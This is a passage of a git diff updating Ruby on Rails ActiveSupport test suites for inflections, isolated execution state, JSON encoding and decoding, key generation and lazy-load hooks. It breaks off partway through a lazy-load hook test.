+      inflect.acronym("HTML")
 
       inflect.clear :all
 
-      assert inflect.plurals.empty?
-      assert inflect.singulars.empty?
-      assert inflect.uncountables.empty?
-      assert inflect.humans.empty?
+      assert_empty inflect.plurals
+      assert_empty inflect.singulars
+      assert_empty inflect.uncountables
+      assert_empty inflect.humans
+      assert_empty inflect.acronyms
     end
   end
 
@@ -451,13 +576,30 @@ def test_clear_with_default
       inflect.singular(/(database)s$/i, '\1')
       inflect.uncountable("series")
       inflect.human("col_rpted_bugs", "Reported bugs")
+      inflect.acronym("HTML")
 
       inflect.clear
 
-      assert inflect.plurals.empty?
-      assert inflect.singulars.empty?
-      assert inflect.uncountables.empty?
-      assert inflect.humans.empty?
+      assert_empty inflect.plurals
+      assert_empty inflect.singulars
+      assert_empty inflect.uncountables
+      assert_empty inflect.humans
+      assert_empty inflect.acronyms
+    end
+  end
+
+  def test_clear_all_resets_camelize_and_underscore_regexes
+    ActiveSupport::Inflector.inflections do |inflect|
+      # ensure any data is present
+      inflect.acronym("HTTP")
+      assert_equal "http_s", "HTTPS".underscore
+      assert_equal "Https", "https".camelize
+
+      inflect.clear :all
+
+      assert_empty inflect.acronyms
+      assert_equal "https", "HTTPS".underscore
+      assert_equal "Https", "https".camelize
     end
   end
 
@@ -500,7 +642,7 @@ def test_clear_with_default
 
         assert_equal [], inflect.singulars
         assert_equal [], inflect.plurals
-        assert_equal [], inflect.uncountables
+        assert_equal [], inflect.uncountables.to_a
 
         # restore all the inflections
         singulars.reverse_each { |singular| inflect.singular(*singular) }
@@ -514,13 +656,26 @@ def test_clear_with_default
     end
   end
 
-  %w(plurals singulars uncountables humans acronyms).each do |scope|
+  %i(plurals singulars uncountables humans).each do |scope|
     define_method("test_clear_inflections_with_#{scope}") do
       # clear the inflections
       ActiveSupport::Inflector.inflections do |inflect|
         inflect.clear(scope)
-        assert_equal [], inflect.send(scope)
+        assert_equal [], inflect.public_send(scope)
       end
     end
   end
+
+  def test_clear_inflections_with_acronyms
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.clear(:acronyms)
+      assert_equal({}, inflect.acronyms)
+    end
+  end
+
+  def test_output_is_not_frozen_even_if_input_is_frozen
+    input = "plurals"
+    assert_predicate input, :frozen?
+    assert_not_predicate ActiveSupport::Inflector.pluralize(input), :frozen?
+  end
 end
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
index b660987d929a9..6357d8b44bf5e 100644
--- a/activesupport/test/inflector_test_cases.rb
+++ b/activesupport/test/inflector_test_cases.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module InflectorTestCases
   SingularToPlural = {
     "search"      => "searches",
@@ -117,7 +119,9 @@ module InflectorTestCases
     "Product"               => "product",
     "SpecialGuest"          => "special_guest",
     "ApplicationController" => "application_controller",
-    "Area51Controller"      => "area51_controller"
+    "Area51Controller"      => "area51_controller",
+    "AppCDir"               => "app_c_dir",
+    "Accountsv2N2Test"      => "accountsv2_n2_test",
   }
 
   UnderscoreToLowerCamel = {
@@ -140,6 +144,7 @@ module InflectorTestCases
     "FreeBSD"               => "free_bsd",
     "HTML"                  => "html",
     "ForceXMLController"    => "force_xml_controller",
+    :product                => "product",
   }
 
   CamelWithModuleToUnderscoreWithSlash = {
@@ -160,7 +165,8 @@ module InflectorTestCases
 
   ClassNameToTableName = {
     "PrimarySpokesman" => "primary_spokesmen",
-    "NodeChild"        => "node_children"
+    "NodeChild"        => "node_children",
+    "Calculu"          => "calculus" # Singular names are not handled correctly
   }
 
   StringToParameterized = {
@@ -219,7 +225,7 @@ module InflectorTestCases
     "Test with malformed utf8 \251"       => "test_with_malformed_utf8"
   }
 
-  StringToParameterizePreserceCaseWithUnderscore = {
+  StringToParameterizePreserveCaseWithUnderscore = {
     "Donald E. Knuth"                     => "Donald_E_Knuth",
     "Random text with *(bad)* characters" => "Random_text_with_bad_characters",
     "With-some-dashes"                    => "With-some-dashes",
@@ -243,17 +249,36 @@ module InflectorTestCases
   UnderscoreToHuman = {
     "employee_salary" => "Employee salary",
     "employee_id"     => "Employee",
+    "employee id"     => "Employee id",
+    "employee id etc" => "Employee id etc",
     "underground"     => "Underground",
     "_id"             => "Id",
     "_external_id"    => "External"
   }
 
+  UnderscoreToHumanWithKeepIdSuffix = {
+    "this_is_a_string_ending_with_id" => "This is a string ending with id",
+    "employee_id"                => "Employee id",
+    "employee_id_something_else" => "Employee id something else",
+    "underground"               => "Underground",
+    "employee id"               => "Employee id",
+    "employee id etc"           => "Employee id etc",
+    "_id"                       => "Id",
+    "_external_id"              => "External id"
+  }
+
   UnderscoreToHumanWithoutCapitalize = {
     "employee_salary" => "employee salary",
     "employee_id"     => "employee",
     "underground"     => "underground"
   }
 
+  MixtureToTitleCaseWithKeepIdSuffix = {
+    "this_is_a_string_ending_with_id" => "This Is A String Ending With Id",
+    "EmployeeId"                      => "Employee Id",
+    "Author Id"                       => "Author Id"
+  }
+
   MixtureToTitleCase = {
     "active_record"         => "Active Record",
     "ActiveRecord"          => "Active Record",
@@ -271,6 +296,10 @@ module InflectorTestCases
     "¿por qué?"             => "¿Por Qué?",
     "Fred’s"                => "Fred’s",
     "Fred`s"                => "Fred`s",
+    "this was 'fake news'"  => "This Was 'Fake News'",
+    "new name(s)"           => "New Name(s)",
+    "new (names)"           => "New (Names)",
+    "their (mis)deeds"      => "Their (Mis)deeds",
     ActiveSupport::SafeBuffer.new("confirmation num") => "Confirmation Num"
   }
 
diff --git a/activesupport/test/isolated_execution_state_test.rb b/activesupport/test/isolated_execution_state_test.rb
new file mode 100644
index 0000000000000..2b7cd176d7466
--- /dev/null
+++ b/activesupport/test/isolated_execution_state_test.rb
@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+
+class IsolatedExecutionStateTest < ActiveSupport::TestCase
+  setup do
+    ActiveSupport::IsolatedExecutionState.clear
+    @original_isolation_level = ActiveSupport::IsolatedExecutionState.isolation_level
+  end
+
+  teardown do
+    ActiveSupport::IsolatedExecutionState.clear
+    ActiveSupport::IsolatedExecutionState.isolation_level = @original_isolation_level
+  end
+
+  test "#[] when isolation level is :fiber" do
+    ActiveSupport::IsolatedExecutionState.isolation_level = :fiber
+
+    ActiveSupport::IsolatedExecutionState[:test] = 42
+    assert_equal 42, ActiveSupport::IsolatedExecutionState[:test]
+    enumerator = Enumerator.new do |yielder|
+      yielder.yield ActiveSupport::IsolatedExecutionState[:test]
+    end
+    assert_nil enumerator.next
+
+    assert_nil Thread.new { ActiveSupport::IsolatedExecutionState[:test] }.value
+  end
+
+  test "#[] when isolation level is :thread" do
+    ActiveSupport::IsolatedExecutionState.isolation_level = :thread
+
+    ActiveSupport::IsolatedExecutionState[:test] = 42
+    assert_equal 42, ActiveSupport::IsolatedExecutionState[:test]
+    enumerator = Enumerator.new do |yielder|
+      yielder.yield ActiveSupport::IsolatedExecutionState[:test]
+    end
+    assert_equal 42, enumerator.next
+
+    assert_nil Thread.new { ActiveSupport::IsolatedExecutionState[:test] }.value
+  end
+
+  test "changing the isolation level clear the old store" do
+    original = ActiveSupport::IsolatedExecutionState.isolation_level
+    other = ActiveSupport::IsolatedExecutionState.isolation_level == :fiber ? :thread : :fiber
+
+    ActiveSupport::IsolatedExecutionState[:test] = 42
+    ActiveSupport::IsolatedExecutionState.isolation_level = original
+    assert_equal 42, ActiveSupport::IsolatedExecutionState[:test]
+
+    ActiveSupport::IsolatedExecutionState.isolation_level = other
+    assert_nil ActiveSupport::IsolatedExecutionState[:test]
+
+    ActiveSupport::IsolatedExecutionState.isolation_level = original
+    assert_nil ActiveSupport::IsolatedExecutionState[:test]
+  end
+
+  test "#share_with copies state from another thread" do
+    ActiveSupport::IsolatedExecutionState[:foo] = "bar"
+    ActiveSupport::IsolatedExecutionState[:baz] = "qux"
+
+    t1 = Thread.current
+    result = nil
+
+    Thread.new do
+      ActiveSupport::IsolatedExecutionState.share_with(t1) do
+        result = {
+          foo: ActiveSupport::IsolatedExecutionState[:foo],
+          baz: ActiveSupport::IsolatedExecutionState[:baz]
+        }
+      end
+    end.join
+
+    assert_equal "bar", result[:foo]
+    assert_equal "qux", result[:baz]
+  end
+
+  test "#share_with restores original state after block" do
+    ActiveSupport::IsolatedExecutionState[:original] = "value"
+
+    t1 = Thread.current
+    ActiveSupport::IsolatedExecutionState[:foo] = "parent"
+
+    Thread.new do
+      ActiveSupport::IsolatedExecutionState[:foo] = "child"
+      ActiveSupport::IsolatedExecutionState[:bar] = "child_only"
+
+      ActiveSupport::IsolatedExecutionState.share_with(t1) do
+        assert_equal "parent", ActiveSupport::IsolatedExecutionState[:foo]
+        assert_nil ActiveSupport::IsolatedExecutionState[:bar]
+      end
+
+      # After block, child thread should have its original state back
+      assert_equal "child", ActiveSupport::IsolatedExecutionState[:foo]
+      assert_equal "child_only", ActiveSupport::IsolatedExecutionState[:bar]
+    end.join
+  end
+
+  test "#share_with with except parameter accepts single key or array" do
+    ActiveSupport::IsolatedExecutionState[:foo] = "bar"
+    ActiveSupport::IsolatedExecutionState[:secret1] = "should not copy"
+    ActiveSupport::IsolatedExecutionState[:secret2] = "also should not copy"
+    ActiveSupport::IsolatedExecutionState[:keep] = "keep this"
+
+    t1 = Thread.current
+    result = nil
+
+    Thread.new do
+      ActiveSupport::IsolatedExecutionState.share_with(t1, except: [:secret1, :secret2]) do
+        result = {
+          foo: ActiveSupport::IsolatedExecutionState[:foo],
+          secret1: ActiveSupport::IsolatedExecutionState[:secret1],
+          secret2: ActiveSupport::IsolatedExecutionState[:secret2],
+          keep: ActiveSupport::IsolatedExecutionState[:keep]
+        }
+      end
+    end.join
+
+    assert_equal "bar", result[:foo]
+    assert_nil result[:secret1]
+    assert_nil result[:secret2]
+    assert_equal "keep this", result[:keep]
+  end
+end
diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb
index 6f5051c31295f..0f9c3c657151a 100644
--- a/activesupport/test/json/decoding_test.rb
+++ b/activesupport/test/json/decoding_test.rb
@@ -1,7 +1,9 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/json"
 require "active_support/time"
-require "time_zone_test_helpers"
+require_relative "../time_zone_test_helpers"
 
 class TestJSONDecoding < ActiveSupport::TestCase
   include TimeZoneTestHelpers
@@ -38,6 +40,8 @@ def self.json_create(object)
     # needs to be *exact*
     %({"a": " 2007-01-01 01:12:34 Z "})          => { "a" => " 2007-01-01 01:12:34 Z " },
     %({"a": "2007-01-01 : it's your birthday"})  => { "a" => "2007-01-01 : it's your birthday" },
+    %({"a": "Today is:\\n2020-05-21"})           => { "a" => "Today is:\n2020-05-21" },
+    %({"a": "2007-01-01 01:12:34 Z\\nwas my birthday"}) => { "a" => "2007-01-01 01:12:34 Z\nwas my birthday" },
     %([])    => [],
     %({})    => {},
     %({"a":1}) => { "a" => 1 },
@@ -62,9 +66,9 @@ def self.json_create(object)
     %q({"a":"\n"}) => { "a" => "\n" },
     %q({"a":"\u000a"}) => { "a" => "\n" },
     %q({"a":"Line1\u000aLine2"}) => { "a" => "Line1\nLine2" },
-    # prevent json unmarshalling
+    # prevent JSON unmarshalling
     '{"json_class":"TestJSONDecoding::Foo"}' => { "json_class" => "TestJSONDecoding::Foo" },
-    # json "fragments" - these are invalid JSON, but ActionPack relies on this
+    # JSON "fragments" - these are invalid JSON, but ActionPack relies on this
     '"a string"' => "a string",
     "1.1" => 1.1,
     "1" => 1,
@@ -77,7 +81,7 @@ def self.json_create(object)
   TESTS.each_with_index do |(json, expected), index|
     fail_message = "JSON decoding failed for #{json}"
 
-    test "json decodes #{index}" do
+    test "JSON decodes #{index}" do
       with_tz_default "Eastern Time (US & Canada)" do
         with_parse_json_times(true) do
           silence_warnings do
@@ -92,7 +96,7 @@ def self.json_create(object)
     end
   end
 
-  test "json decodes time json with time parsing disabled" do
+  test "JSON decodes time JSON with time parsing disabled" do
     with_parse_json_times(false) do
       expected = { "a" => "2007-01-01 01:12:34 Z" }
       assert_equal expected, ActiveSupport::JSON.decode(%({"a": "2007-01-01 01:12:34 Z"}))
@@ -106,12 +110,14 @@ def test_failed_json_decoding
     assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%()) }
   end
 
-  def test_cannot_pass_unsupported_options
-    assert_raise(ArgumentError) { ActiveSupport::JSON.decode("", create_additions: true) }
+  def test_symbolized_names_option
+    json = '{"foo":"bar"}'
+    assert_equal({ "foo" => "bar" }, ActiveSupport::JSON.decode(json))
+    assert_equal({ foo: "bar" }, ActiveSupport::JSON.decode(json, symbolize_names: true))
+    assert_equal({ foo: "bar" }, ActiveSupport::JSON.decode(json, { symbolize_names: true }))
   end
 
   private
-
     def with_parse_json_times(value)
       old_value = ActiveSupport.parse_json_times
       ActiveSupport.parse_json_times = value
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
index 6d8f7cfbd044a..5a4c0dbed87a9 100644
--- a/activesupport/test/json/encoding_test.rb
+++ b/activesupport/test/json/encoding_test.rb
@@ -1,11 +1,13 @@
+# frozen_string_literal: true
+
 require "securerandom"
-require "abstract_unit"
+require_relative "../abstract_unit"
 require "active_support/core_ext/string/inflections"
-require "active_support/core_ext/regexp"
+require "active_support/core_ext/object/with"
 require "active_support/json"
 require "active_support/time"
-require "time_zone_test_helpers"
-require "json/encoding_test_cases"
+require_relative "../time_zone_test_helpers"
+require_relative "../json/encoding_test_cases"
 
 class TestJSONEncoding < ActiveSupport::TestCase
   include TimeZoneTestHelpers
@@ -20,26 +22,22 @@ def sorted_json(json)
 
   JSONTest::EncodingTestCases.constants.each do |class_tests|
     define_method("test_#{class_tests[0..-6].underscore}") do
-      begin
-        prev = ActiveSupport.use_standard_json_time_format
-
-        standard_class_tests = /Standard/.match?(class_tests)
-
-        ActiveSupport.escape_html_entities_in_json  = !standard_class_tests
-        ActiveSupport.use_standard_json_time_format = standard_class_tests
-        JSONTest::EncodingTestCases.const_get(class_tests).each do |pair|
-          assert_equal pair.last, sorted_json(ActiveSupport::JSON.encode(pair.first))
-        end
-      ensure
-        ActiveSupport.escape_html_entities_in_json  = false
-        ActiveSupport.use_standard_json_time_format = prev
+      prev = ActiveSupport.use_standard_json_time_format
+
+      standard_class_tests = /Standard/.match?(class_tests)
+
+      ActiveSupport.escape_html_entities_in_json  = !standard_class_tests
+      ActiveSupport.use_standard_json_time_format = standard_class_tests
+      JSONTest::EncodingTestCases.const_get(class_tests).each do |pair|
+        assert_equal pair.last, sorted_json(ActiveSupport::JSON.encode(pair.first))
       end
+    ensure
+      ActiveSupport.escape_html_entities_in_json  = false
+      ActiveSupport.use_standard_json_time_format = prev
     end
   end
 
   def test_process_status
-    rubinius_skip "https://github.com/rubinius/rubinius/issues/3334"
-
     # There doesn't seem to be a good way to get a handle on a Process::Status object without actually
     # creating a child process, hence this to populate $?
     system("not_a_real_program_#{SecureRandom.hex}")
@@ -55,6 +53,14 @@ def test_hash_encoding
     assert_equal %({\"a\":\"b\",\"c\":\"d\"}), sorted_json(ActiveSupport::JSON.encode(a: :b, c: :d))
   end
 
+  def test_unicode_escape
+    assert_equal %{{"\\u2028":"\\u2029"}}, ActiveSupport::JSON.encode("\u2028" => "\u2029")
+    assert_equal %{{"\u2028":"\u2029"}}, ActiveSupport::JSON.encode({ "\u2028" => "\u2029" }, escape: false)
+    ActiveSupport::JSON::Encoding.with(escape_js_separators_in_json: false) do
+      assert_equal %{{"\u2028":"\u2029"}}, ActiveSupport::JSON.encode({ "\u2028" => "\u2029" })
+    end
+  end
+
   def test_hash_keys_encoding
     ActiveSupport.escape_html_entities_in_json = true
     assert_equal "{\"\\u003c\\u003e\":\"\\u003c\\u003e\"}", ActiveSupport::JSON.encode("<>" => "<>")
@@ -62,6 +68,18 @@ def test_hash_keys_encoding
     ActiveSupport.escape_html_entities_in_json = false
   end
 
+  def test_hash_keys_encoding_option
+    global_config = ActiveSupport.escape_html_entities_in_json
+
+    ActiveSupport.escape_html_entities_in_json = true
+    assert_equal "{\"<>\":\"<>\"}", ActiveSupport::JSON.encode({ "<>" => "<>" }, escape_html_entities: false)
+
+    ActiveSupport.escape_html_entities_in_json = false
+    assert_equal "{\"\\u003c\\u003e\":\"\\u003c\\u003e\"}", ActiveSupport::JSON.encode({ "<>" => "<>" }, escape_html_entities: true)
+  ensure
+    ActiveSupport.escape_html_entities_in_json = global_config
+  end
+
   def test_utf8_string_encoded_properly
     result = ActiveSupport::JSON.encode("€2.99")
     assert_equal '"€2.99"', result
@@ -98,11 +116,11 @@ def test_hash_key_identifiers_are_always_quoted
   end
 
   def test_hash_should_allow_key_filtering_with_only
-    assert_equal %({"a":1}), ActiveSupport::JSON.encode({ "a" => 1, :b => 2, :c => 3 }, only: "a")
+    assert_equal %({"a":1}), ActiveSupport::JSON.encode({ "a" => 1, :b => 2, :c => 3 }, { only: "a" })
   end
 
   def test_hash_should_allow_key_filtering_with_except
-    assert_equal %({"b":2}), ActiveSupport::JSON.encode({ "foo" => "bar", :b => 2, :c => 3 }, except: ["foo", :c])
+    assert_equal %({"b":2}), ActiveSupport::JSON.encode({ "foo" => "bar", :b => 2, :c => 3 }, { except: ["foo", :c] })
   end
 
   def test_time_to_json_includes_local_offset
@@ -156,6 +174,15 @@ def test_struct_to_json_with_options
     assert_equal({ "foo" => "hello" }, JSON.parse(json))
   end
 
+  def test_struct_to_json_with_options_nested
+    klass = Struct.new(:foo, :bar)
+    struct = klass.new "hello", "world"
+    parent_struct = klass.new struct, "world"
+    json = parent_struct.to_json only: [:foo]
+
+    assert_equal({ "foo" => { "foo" => "hello" } }, JSON.parse(json))
+  end
+
   def test_hash_should_pass_encoding_options_to_children_in_as_json
     person = {
       name: "John",
@@ -185,7 +212,7 @@ def test_hash_should_pass_encoding_options_to_children_in_to_json
   def test_array_should_pass_encoding_options_to_children_in_as_json
     people = [
       { name: "John", address: { city: "London", country: "UK" } },
-      { name: "Jean", address: { city: "Paris" , country: "France" } }
+      { name: "Jean", address: { city: "Paris", country: "France" } }
     ]
     json = people.as_json only: [:address, :city]
     expected = [
@@ -199,7 +226,7 @@ def test_array_should_pass_encoding_options_to_children_in_as_json
   def test_array_should_pass_encoding_options_to_children_in_to_json
     people = [
       { name: "John", address: { city: "London", country: "UK" } },
-      { name: "Jean", address: { city: "Paris" , country: "France" } }
+      { name: "Jean", address: { city: "Paris", country: "France" } }
     ]
     json = people.to_json only: [:address, :city]
 
@@ -208,10 +235,10 @@ def test_array_should_pass_encoding_options_to_children_in_to_json
 
   People = Class.new(BasicObject) do
     include Enumerable
-    def initialize()
+    def initialize
       @people = [
         { name: "John", address: { city: "London", country: "UK" } },
-        { name: "Jean", address: { city: "Paris" , country: "France" } }
+        { name: "Jean", address: { city: "Paris", country: "France" } }
       ]
     end
     def each(*, &blk)
@@ -298,13 +325,14 @@ def test_array_as_json_without_options
     assert_equal([:default], json)
   end
 
+  UserNameAndEmail = Struct.new(:name, :email)
+  UserNameAndDate = Struct.new(:name, :date)
+  Custom = Struct.new(:name, :sub)
+
   def test_struct_encoding
-    Struct.new("UserNameAndEmail", :name, :email)
-    Struct.new("UserNameAndDate", :name, :date)
-    Struct.new("Custom", :name, :sub)
-    user_email = Struct::UserNameAndEmail.new "David", "sample@example.com"
-    user_birthday = Struct::UserNameAndDate.new "David", Date.new(2010, 01, 01)
-    custom = Struct::Custom.new "David", user_birthday
+    user_email = UserNameAndEmail.new "David", "sample@example.com"
+    user_birthday = UserNameAndDate.new "David", Date.new(2010, 01, 01)
+    custom = Custom.new "David", user_birthday
 
     json_strings = ""
     json_string_and_date = ""
@@ -328,6 +356,15 @@ def test_struct_encoding
                  ActiveSupport::JSON.decode(json_string_and_date))
   end
 
+  def test_data_encoding
+    data = Data.define(:name, :email).new("test", "test@example.com")
+
+    assert_nothing_raised { data.to_json }
+
+    assert_equal({ "name" => "test", "email" => "test@example.com" },
+      ActiveSupport::JSON.decode(data.to_json))
+  end
+
   def test_nil_true_and_false_represented_as_themselves
     assert_nil nil.as_json
     assert_equal true,  true.as_json
@@ -452,8 +489,55 @@ def test_to_json_works_when_as_json_returns_NaN_number
     assert_equal '{"number":null}', NaNNumber.new.to_json
   end
 
-  private
+  def test_to_json_works_on_io_objects
+    assert_equal STDOUT.to_s.to_json, STDOUT.to_json
+  end
 
+  class AsJSONLoop
+    def initialize(count)
+      @count = count
+    end
+
+    def as_json
+      if @count > 0
+        @count -= 1
+        dup
+      else
+        self
+      end
+    end
+  end
+
+  def test_as_json_infinite_loop
+    assert_raise SystemStackError do
+      AsJSONLoop.new(Float::INFINITY).to_json
+    end
+  end
+
+  def test_as_json_too_recursive
+    assert_raise SystemStackError do
+      AsJSONLoop.new(20).to_json
+    end
+  end
+
+  def test_no_nesting_error_on_consecutive_encoding_calls
+    hash = { a: 1 }
+    assert_equal '{"a":1}', ActiveSupport::JSON.encode(hash)
+
+    # We simulate a circular reference
+    circular_array = []
+    circular_array << circular_array
+
+    assert_raise(SystemStackError, JSON::NestingError) do
+      ActiveSupport::JSON.encode(circular_array)
+    end
+
+    # We should be able to continue to generate JSONs as usual after
+    # encountering a JSON::NestingError
+    assert_equal '{"a":1}', ActiveSupport::JSON.encode(hash)
+  end
+
+  private
     def object_keys(json_object)
       json_object[1..-2].scan(/([^{}:,\s]+):/).flatten.sort
     end
@@ -473,3 +557,16 @@ def with_time_precision(value)
       ActiveSupport::JSON::Encoding.time_precision = old_value
     end
 end
+
+if defined?(::JSON::Coder)
+  class OldJSONEncodingTest < TestJSONEncoding
+    setup do
+      @json_encoder = ActiveSupport::JSON::Encoding.json_encoder
+      ActiveSupport::JSON::Encoding.json_encoder = ActiveSupport::JSON::Encoding::JSONGemEncoder
+    end
+
+    teardown do
+      ActiveSupport::JSON::Encoding.json_encoder = @json_encoder
+    end
+  end
+end
diff --git a/activesupport/test/json/encoding_test_cases.rb b/activesupport/test/json/encoding_test_cases.rb
index b2f0cf304842c..532811edda0cd 100644
--- a/activesupport/test/json/encoding_test_cases.rb
+++ b/activesupport/test/json/encoding_test_cases.rb
@@ -1,4 +1,10 @@
+# frozen_string_literal: true
+
 require "bigdecimal"
+require "date"
+require "time"
+require "pathname"
+require "uri"
 
 module JSONTest
   class Foo
@@ -30,6 +36,36 @@ def initialize(*)
     end
   end
 
+  class RomanNumeral < Numeric
+    def initialize(str)
+      @str = str
+    end
+
+    def as_json(options = nil)
+      @str
+    end
+  end
+
+  class CustomNumeric < Numeric
+    def initialize(str)
+      @str = str
+    end
+
+    def to_json(options = nil)
+      @str
+    end
+  end
+
+  class CustomNumericFixed < Numeric
+    def initialize(str)
+      @str = str
+    end
+
+    def as_json
+      ::JSON::Fragment.new(@str)
+    end
+  end
+
   module EncodingTestCases
     TrueTests     = [[ true,  %(true)  ]]
     FalseTests    = [[ false, %(false) ]]
@@ -40,7 +76,11 @@ module EncodingTestCases
                      [ 1.0 / 0.0,   %(null) ],
                      [ -1.0 / 0.0,  %(null) ],
                      [ BigDecimal("0.0") / BigDecimal("0.0"),  %(null) ],
-                     [ BigDecimal("2.5"), %("#{BigDecimal('2.5')}") ]]
+                     [ BigDecimal("2.5"), %("#{BigDecimal('2.5')}") ],
+                     [ RomanNumeral.new("MCCCXXXVII"), %("MCCCXXXVII") ],
+                     [ [CustomNumeric.new("123")], %([123]) ],
+                     [ [CustomNumericFixed.new("123")], %([123]) ],
+    ]
 
     StringTests   = [[ "this is the <string>",     %("this is the \\u003cstring\\u003e")],
                      [ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ],
@@ -62,6 +102,10 @@ module EncodingTestCases
                      [ :this,  %("this") ],
                      [ :"a b", %("a b")  ]]
 
+    ModuleTests   = [[ Module, %("Module") ],
+                     [ Class,  %("Class")  ],
+                     [ ActiveSupport,                   %("ActiveSupport")                   ],
+                     [ ActiveSupport::Testing, %("ActiveSupport::Testing") ]]
     ObjectTests   = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]]
     HashlikeTests = [[ Hashlike.new, %({\"bar\":\"world\",\"foo\":\"hello\"}) ]]
     StructTests   = [[ MyStruct.new(:foo, "bar"), %({\"name\":\"foo\",\"value\":\"bar\"}) ],
@@ -80,6 +124,10 @@ module EncodingTestCases
 
     PathnameTests = [[ Pathname.new("lib/index.rb"), %("lib/index.rb") ]]
 
+    IPAddrTests       = [[ IPAddr.new("127.0.0.1"), %("127.0.0.1") ]]
+    IPAddrv4CidrTests = [[ IPAddr.new("192.0.2.0/24"), %("192.0.2.0/24") ]]
+    IPAddrv6CidrTests = [[ IPAddr.new("2001:db8::/48"), %("2001:db8::/48") ]]
+
     DateTests     = [[ Date.new(2005, 2, 1), %("2005/02/01") ]]
     TimeTests     = [[ Time.utc(2005, 2, 1, 15, 15, 10), %("2005/02/01 15:15:10 +0000") ]]
     DateTimeTests = [[ DateTime.civil(2005, 2, 1, 15, 15, 10), %("2005/02/01 15:15:10 +0000") ]]
diff --git a/activesupport/test/key_generator_test.rb b/activesupport/test/key_generator_test.rb
index 89db9563ac721..87cc7c8de0922 100644
--- a/activesupport/test/key_generator_test.rb
+++ b/activesupport/test/key_generator_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 
 begin
   require "openssl"
@@ -7,10 +9,9 @@
   $stderr.puts "Skipping KeyGenerator test: broken OpenSSL install"
 else
 
-  require "active_support/time"
-  require "active_support/json"
-
   class KeyGeneratorTest < ActiveSupport::TestCase
+    class InvalidDigest; end
+
     def setup
       @secret    = SecureRandom.hex(64)
       @generator = ActiveSupport::KeyGenerator.new(@secret, iterations: 2)
@@ -34,13 +35,33 @@ def setup
       # key would break.
 
       expected = "b129376f68f1ecae788d7433310249d65ceec090ecacd4c872a3a9e9ec78e055739be5cc6956345d5ae38e7e1daa66f1de587dc8da2bf9e8b965af4b3918a122"
-      assert_equal expected, ActiveSupport::KeyGenerator.new("0" * 64).generate_key("some_salt").unpack("H*").first
+      assert_equal expected, ActiveSupport::KeyGenerator.new("0" * 64).generate_key("some_salt").unpack1("H*")
 
       expected = "b129376f68f1ecae788d7433310249d65ceec090ecacd4c872a3a9e9ec78e055"
-      assert_equal expected, ActiveSupport::KeyGenerator.new("0" * 64).generate_key("some_salt", 32).unpack("H*").first
+      assert_equal expected, ActiveSupport::KeyGenerator.new("0" * 64).generate_key("some_salt", 32).unpack1("H*")
 
       expected = "cbea7f7f47df705967dc508f4e446fd99e7797b1d70011c6899cd39bbe62907b8508337d678505a7dc8184e037f1003ba3d19fc5d829454668e91d2518692eae"
-      assert_equal expected, ActiveSupport::KeyGenerator.new("0" * 64, iterations: 2).generate_key("some_salt").unpack("H*").first
+      assert_equal expected, ActiveSupport::KeyGenerator.new("0" * 64, iterations: 2).generate_key("some_salt").unpack1("H*")
+    end
+
+    test "With custom hash digest class" do
+      original_hash_digest_class = ActiveSupport::KeyGenerator.hash_digest_class
+
+      ActiveSupport::KeyGenerator.hash_digest_class = ::OpenSSL::Digest::SHA256
+
+      expected = "c92322ad55ee691520e8e0f279b53e7a5cc9c1f8efca98295ae252b04cc6e2274c3aaf75ef53b260a6dc548f3e5fbb8af0edf10e7663cf7054c35bcc12835fc0"
+      assert_equal expected, ActiveSupport::KeyGenerator.new("0" * 64).generate_key("some_salt").unpack1("H*")
+    ensure
+      ActiveSupport::KeyGenerator.hash_digest_class = original_hash_digest_class
+    end
+
+    test "Raises if given a non digest instance" do
+      assert_raises(ArgumentError) { ActiveSupport::KeyGenerator.hash_digest_class = InvalidDigest }
+      assert_raises(ArgumentError) { ActiveSupport::KeyGenerator.hash_digest_class = InvalidDigest.new }
+    end
+
+    test "inspect does not show secrets" do
+      assert_match(/\A#<ActiveSupport::KeyGenerator:0x[0-9a-f]+>\z/, @generator.inspect)
     end
   end
 
@@ -72,6 +93,12 @@ def setup
 
       assert_not_equal derived_key, different_length_key
     end
-  end
 
+    test "Does not cache key for different salts and lengths that are different but are equal when concatenated" do
+      derived_key = @caching_generator.generate_key("13", 37)
+      different_length_key = @caching_generator.generate_key("1", 337)
+
+      assert_not_equal derived_key, different_length_key
+    end
+  end
 end
diff --git a/activesupport/test/lazy_load_hooks_test.rb b/activesupport/test/lazy_load_hooks_test.rb
index 3b1959a1c9f91..d178787b7a5f0 100644
--- a/activesupport/test/lazy_load_hooks_test.rb
+++ b/activesupport/test/lazy_load_hooks_test.rb
@@ -1,4 +1,7 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/core_ext/module/remove_method"
 
 class LazyLoadHooksTest < ActiveSupport::TestCase
   def test_basic_hook
@@ -18,6 +21,23 @@ def test_basic_hook_with_two_registrations
     assert_equal 7, i
   end
 
+  def test_basic_hook_with_two_registrations_only_once
+    i = 0
+    block = proc { i += incr }
+    ActiveSupport.on_load(:basic_hook_with_two_once, run_once: true, &block)
+    ActiveSupport.on_load(:basic_hook_with_two_once) do
+      i += incr
+    end
+
+    ActiveSupport.on_load(:different_hook, run_once: true, &block)
+    ActiveSupport.run_load_hooks(:different_hook, FakeContext.new(2))
+    assert_equal 2, i
+    ActiveSupport.run_load_hooks(:basic_hook_with_two_once, FakeContext.new(2))
+    assert_equal 6, i
+    ActiveSupport.run_load_hooks(:basic_hook_with_two_once, FakeContext.new(5))
+    assert_equal 11, i
+  end
+
   def test_hook_registered_after_run
     i = 0
     ActiveSupport.run_load_hooks(:registered_after)
@@ -35,6 +55,15 @@ def test_hook_registered_after_run_with_two_registrations
     assert_equal 7, i
   end
 
+  def test_hook_registered_after_run_with_two_registrations_only_once
+    i = 0
